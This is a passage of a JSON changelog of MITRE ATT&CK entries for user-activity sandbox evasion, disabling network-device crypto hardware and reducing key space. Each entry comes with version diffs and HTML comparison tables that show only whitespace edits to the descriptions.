                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to90__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to90__0\"><a href=\"#difflib_chg_to90__top\">t</a></td><td class=\"diff_header\" id=\"from90_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;employ&nbsp;various&nbsp;user&nbsp;activity&nbsp;checks&nbsp;to&nbsp;detec</td><td class=\"diff_next\"><a href=\"#difflib_chg_to90__top\">t</a></td><td class=\"diff_header\" id=\"to90_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;employ&nbsp;various&nbsp;user&nbsp;activity&nbsp;checks&nbsp;to&nbsp;detec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;and&nbsp;avoid&nbsp;virtualization&nbsp;and&nbsp;analysis&nbsp;environments.&nbsp;This&nbsp;m</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;and&nbsp;avoid&nbsp;virtualization&nbsp;and&nbsp;analysis&nbsp;environments.&nbsp;This&nbsp;m</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ay&nbsp;include&nbsp;changing&nbsp;behaviors&nbsp;based&nbsp;on&nbsp;the&nbsp;results&nbsp;of&nbsp;checks</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ay&nbsp;include&nbsp;changing&nbsp;behaviors&nbsp;based&nbsp;on&nbsp;the&nbsp;results&nbsp;of&nbsp;checks</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;for&nbsp;the&nbsp;presence&nbsp;of&nbsp;artifacts&nbsp;indicative&nbsp;of&nbsp;a&nbsp;virtual&nbsp;machi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;for&nbsp;the&nbsp;presence&nbsp;of&nbsp;artifacts&nbsp;indicative&nbsp;of&nbsp;a&nbsp;virtual&nbsp;machi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ne&nbsp;environment&nbsp;(VME)&nbsp;or&nbsp;sandbox.&nbsp;If&nbsp;the&nbsp;adversary&nbsp;detects&nbsp;a&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ne&nbsp;environment&nbsp;(VME)&nbsp;or&nbsp;sandbox.&nbsp;If&nbsp;the&nbsp;adversary&nbsp;detects&nbsp;a&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">VME,&nbsp;they&nbsp;may&nbsp;alter&nbsp;their&nbsp;malware&nbsp;to&nbsp;disengage&nbsp;from&nbsp;the&nbsp;vict</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">VME,&nbsp;they&nbsp;may&nbsp;alter&nbsp;their&nbsp;malware&nbsp;to&nbsp;disengage&nbsp;from&nbsp;the&nbsp;vict</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">im&nbsp;or&nbsp;conceal&nbsp;the&nbsp;core&nbsp;functions&nbsp;of&nbsp;the&nbsp;implant.&nbsp;They&nbsp;may&nbsp;al</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">im&nbsp;or&nbsp;conceal&nbsp;the&nbsp;core&nbsp;functions&nbsp;of&nbsp;the&nbsp;implant.&nbsp;They&nbsp;may&nbsp;al</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">so&nbsp;search&nbsp;for&nbsp;VME&nbsp;artifacts&nbsp;before&nbsp;dropping&nbsp;secondary&nbsp;or&nbsp;add</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">so&nbsp;search&nbsp;for&nbsp;VME&nbsp;artifacts&nbsp;before&nbsp;dropping&nbsp;secondary&nbsp;or&nbsp;add</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itional&nbsp;payloads.&nbsp;Adversaries&nbsp;may&nbsp;use&nbsp;the&nbsp;information&nbsp;learne</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itional&nbsp;payloads.&nbsp;Adversaries&nbsp;may&nbsp;use&nbsp;the&nbsp;information&nbsp;learne</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;from&nbsp;[Virtualization/Sandbox&nbsp;Evasion](https://attack.mitre</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;from&nbsp;[Virtualization/Sandbox&nbsp;Evasion](https://attack.mitre</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.org/techniques/T1497)&nbsp;during&nbsp;automated&nbsp;discovery&nbsp;to&nbsp;shape&nbsp;f</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.org/techniques/T1497)&nbsp;during&nbsp;automated&nbsp;discovery&nbsp;to&nbsp;shape&nbsp;f</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ollow-on&nbsp;behaviors.(Citation:&nbsp;Deloitte&nbsp;Environment&nbsp;Awareness</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ollow-on&nbsp;behaviors.(Citation:&nbsp;Deloitte&nbsp;Environment&nbsp;Awareness</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;search&nbsp;for&nbsp;user&nbsp;activity&nbsp;on&nbsp;the&nbsp;host&nbsp;base</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;search&nbsp;for&nbsp;user&nbsp;activity&nbsp;on&nbsp;the&nbsp;host&nbsp;base</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;on&nbsp;variables&nbsp;such&nbsp;as&nbsp;the&nbsp;speed/frequency&nbsp;of&nbsp;mouse&nbsp;movement</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;on&nbsp;variables&nbsp;such&nbsp;as&nbsp;the&nbsp;speed/frequency&nbsp;of&nbsp;mouse&nbsp;movement</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;and&nbsp;clicks<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Sans&nbsp;Virtual&nbsp;Jan&nbsp;2016)&nbsp;,&nbsp;browser&nbsp;his</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;and&nbsp;clicks(Citation:&nbsp;Sans&nbsp;Virtual&nbsp;Jan&nbsp;2016)&nbsp;,&nbsp;browser&nbsp;hist</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tory,&nbsp;cache,&nbsp;bookmarks,&nbsp;or&nbsp;number&nbsp;of&nbsp;files&nbsp;in&nbsp;common&nbsp;directo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ory,&nbsp;cache,&nbsp;bookmarks,&nbsp;or&nbsp;number&nbsp;of&nbsp;files&nbsp;in&nbsp;common&nbsp;director</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ries&nbsp;such&nbsp;as&nbsp;home&nbsp;or&nbsp;the&nbsp;desktop.&nbsp;Other&nbsp;methods&nbsp;may&nbsp;rely&nbsp;on&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ies&nbsp;such&nbsp;as&nbsp;home&nbsp;or&nbsp;the&nbsp;desktop.&nbsp;Other&nbsp;methods&nbsp;may&nbsp;rely&nbsp;on&nbsp;s</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">specific&nbsp;user&nbsp;interaction&nbsp;with&nbsp;the&nbsp;system&nbsp;before&nbsp;the&nbsp;malicio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pecific&nbsp;user&nbsp;interaction&nbsp;with&nbsp;the&nbsp;system&nbsp;before&nbsp;the&nbsp;maliciou</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">us&nbsp;code&nbsp;is&nbsp;activated,&nbsp;such&nbsp;as&nbsp;waiting&nbsp;for&nbsp;a&nbsp;document&nbsp;to&nbsp;clos</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;code&nbsp;is&nbsp;activated,&nbsp;such&nbsp;as&nbsp;waiting&nbsp;for&nbsp;a&nbsp;document&nbsp;to&nbsp;close</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;before&nbsp;activating&nbsp;a&nbsp;macro<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Unit&nbsp;42&nbsp;Sofacy&nbsp;Nov&nbsp;20</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;before&nbsp;activating&nbsp;a&nbsp;macro(Citation:&nbsp;Unit&nbsp;42&nbsp;Sofacy&nbsp;Nov&nbsp;2018</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">18)&nbsp;or&nbsp;waiting&nbsp;for&nbsp;a&nbsp;user&nbsp;to&nbsp;double&nbsp;click&nbsp;on&nbsp;an&nbsp;embedded&nbsp;ima</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)&nbsp;or&nbsp;waiting&nbsp;for&nbsp;a&nbsp;user&nbsp;to&nbsp;double&nbsp;click&nbsp;on&nbsp;an&nbsp;embedded&nbsp;image</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ge&nbsp;to&nbsp;activate.(Citation:&nbsp;FireEye&nbsp;FIN7&nbsp;April&nbsp;2017)&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;activate.(Citation:&nbsp;FireEye&nbsp;FIN7&nbsp;April&nbsp;2017)&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0420: Detect User Activity Based Sandbox Evasion via Input & Artifact Probing"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--7efba77e-3bc4-4ca5-8292-d8201dcd64b5",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-10-19 19:11:18.757000+00:00",
                    "modified": "2026-11-04 01:09:33.773000+00:00",
                    "name": "Disable Crypto Hardware",
                    "description": "Adversaries disable a network device\u2019s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.\n\nMany network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)).(Citation: Cisco Blog Legacy Device Attacks)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "defense-impairment"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1600/002",
                            "external_id": "T1600.002"
                        },
                        {
                            "source_name": "Cisco Blog Legacy Device Attacks",
                            "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                            "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Network Devices"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:09:33.773000+00:00\", \"old_value\": \"2026-05-12 15:12:00.662000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries disable a network device\\u2019s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.\\n\\nMany network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)).(Citation: Cisco Blog Legacy Device Attacks)\", \"old_value\": \"Adversaries disable a network device\\u2019s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.\\n\\nMany network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco Blog Legacy Device Attacks)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries disable a network device\\u2019s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.\\n \\n-Many network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco Blog Legacy Device Attacks)\\n+Many network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)).(Citation: Cisco Blog Legacy Device Attacks)\"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to68__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to68__0\"><a href=\"#difflib_chg_to68__top\">t</a></td><td class=\"diff_header\" id=\"from68_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;disable&nbsp;a&nbsp;network&nbsp;device\u2019s&nbsp;dedicated&nbsp;hardware&nbsp;en</td><td class=\"diff_next\"><a href=\"#difflib_chg_to68__top\">t</a></td><td class=\"diff_header\" id=\"to68_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;disable&nbsp;a&nbsp;network&nbsp;device\u2019s&nbsp;dedicated&nbsp;hardware&nbsp;en</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cryption,&nbsp;which&nbsp;may&nbsp;enable&nbsp;them&nbsp;to&nbsp;leverage&nbsp;weaknesses&nbsp;in&nbsp;so</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cryption,&nbsp;which&nbsp;may&nbsp;enable&nbsp;them&nbsp;to&nbsp;leverage&nbsp;weaknesses&nbsp;in&nbsp;so</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ftware&nbsp;encryption&nbsp;in&nbsp;order&nbsp;to&nbsp;reduce&nbsp;the&nbsp;effort&nbsp;involved&nbsp;in&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ftware&nbsp;encryption&nbsp;in&nbsp;order&nbsp;to&nbsp;reduce&nbsp;the&nbsp;effort&nbsp;involved&nbsp;in&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">collecting,&nbsp;manipulating,&nbsp;and&nbsp;exfiltrating&nbsp;transmitted&nbsp;data.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">collecting,&nbsp;manipulating,&nbsp;and&nbsp;exfiltrating&nbsp;transmitted&nbsp;data.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;&nbsp;Many&nbsp;network&nbsp;devices&nbsp;such&nbsp;as&nbsp;routers,&nbsp;switches,&nbsp;and&nbsp;firewa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;&nbsp;Many&nbsp;network&nbsp;devices&nbsp;such&nbsp;as&nbsp;routers,&nbsp;switches,&nbsp;and&nbsp;firewa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lls,&nbsp;perform&nbsp;encryption&nbsp;on&nbsp;network&nbsp;traffic&nbsp;to&nbsp;secure&nbsp;transmi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lls,&nbsp;perform&nbsp;encryption&nbsp;on&nbsp;network&nbsp;traffic&nbsp;to&nbsp;secure&nbsp;transmi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ssion&nbsp;across&nbsp;networks.&nbsp;Often,&nbsp;these&nbsp;devices&nbsp;are&nbsp;equipped&nbsp;wit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ssion&nbsp;across&nbsp;networks.&nbsp;Often,&nbsp;these&nbsp;devices&nbsp;are&nbsp;equipped&nbsp;wit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;special,&nbsp;dedicated&nbsp;encryption&nbsp;hardware&nbsp;to&nbsp;greatly&nbsp;increase</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;special,&nbsp;dedicated&nbsp;encryption&nbsp;hardware&nbsp;to&nbsp;greatly&nbsp;increase</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;speed&nbsp;of&nbsp;the&nbsp;encryption&nbsp;process&nbsp;as&nbsp;well&nbsp;as&nbsp;to&nbsp;prevent&nbsp;m</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;speed&nbsp;of&nbsp;the&nbsp;encryption&nbsp;process&nbsp;as&nbsp;well&nbsp;as&nbsp;to&nbsp;prevent&nbsp;m</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">alicious&nbsp;tampering.&nbsp;When&nbsp;an&nbsp;adversary&nbsp;takes&nbsp;control&nbsp;of&nbsp;such&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">alicious&nbsp;tampering.&nbsp;When&nbsp;an&nbsp;adversary&nbsp;takes&nbsp;control&nbsp;of&nbsp;such&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;device,&nbsp;they&nbsp;may&nbsp;disable&nbsp;the&nbsp;dedicated&nbsp;hardware,&nbsp;for&nbsp;examp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;device,&nbsp;they&nbsp;may&nbsp;disable&nbsp;the&nbsp;dedicated&nbsp;hardware,&nbsp;for&nbsp;examp</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">le,&nbsp;through&nbsp;use&nbsp;of&nbsp;[Modify&nbsp;System&nbsp;Image](https://attack.mitr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">le,&nbsp;through&nbsp;use&nbsp;of&nbsp;[Modify&nbsp;System&nbsp;Image](https://attack.mitr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e.org/techniques/T1601),&nbsp;forcing&nbsp;the&nbsp;use&nbsp;of&nbsp;software&nbsp;to&nbsp;perf</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e.org/techniques/T1601),&nbsp;forcing&nbsp;the&nbsp;use&nbsp;of&nbsp;software&nbsp;to&nbsp;perf</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">orm&nbsp;encryption&nbsp;on&nbsp;general&nbsp;processors.&nbsp;This&nbsp;is&nbsp;typically&nbsp;used</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">orm&nbsp;encryption&nbsp;on&nbsp;general&nbsp;processors.&nbsp;This&nbsp;is&nbsp;typically&nbsp;used</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;in&nbsp;conjunction&nbsp;with&nbsp;attacks&nbsp;to&nbsp;weaken&nbsp;the&nbsp;strength&nbsp;of&nbsp;the&nbsp;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;in&nbsp;conjunction&nbsp;with&nbsp;attacks&nbsp;to&nbsp;weaken&nbsp;the&nbsp;strength&nbsp;of&nbsp;the&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ipher&nbsp;in&nbsp;software&nbsp;(e.g.,&nbsp;[Reduce&nbsp;Key&nbsp;Space](https://attack.m</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ipher&nbsp;in&nbsp;software&nbsp;(e.g.,&nbsp;[Reduce&nbsp;Key&nbsp;Space](https://attack.m</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itre.org/techniques/T1600/001)).<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Cisco&nbsp;Blog&nbsp;Legac</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itre.org/techniques/T1600/001)).(Citation:&nbsp;Cisco&nbsp;Blog&nbsp;Legacy</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;Device&nbsp;Attacks)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Device&nbsp;Attacks)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0494: Detection Strategy for Weaken Encryption: Disable Crypto Hardware on Network Devices"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--3a40f208-a9c1-4efa-a598-4003c3681fb8",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-10-19 19:03:48.310000+00:00",
                    "modified": "2026-11-04 01:09:13.241000+00:00",
                    "name": "Reduce Key Space",
                    "description": "Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)\n\nAdversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.\n\nAdversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device.(Citation: Cisco Blog Legacy Device Attacks)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "defense-impairment"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1600/001",
                            "external_id": "T1600.001"
                        },
                        {
                            "source_name": "Cisco Synful Knock Evolution",
                            "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
                            "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
                        },
                        {
                            "source_name": "Cisco Blog Legacy Device Attacks",
                            "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                            "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Network Devices"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:09:13.241000+00:00\", \"old_value\": \"2026-05-12 15:12:00.627000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)\\n\\nAdversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.\\n\\nAdversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device.(Citation: Cisco Blog Legacy Device Attacks)\", \"old_value\": \"Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)\\n\\nAdversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the 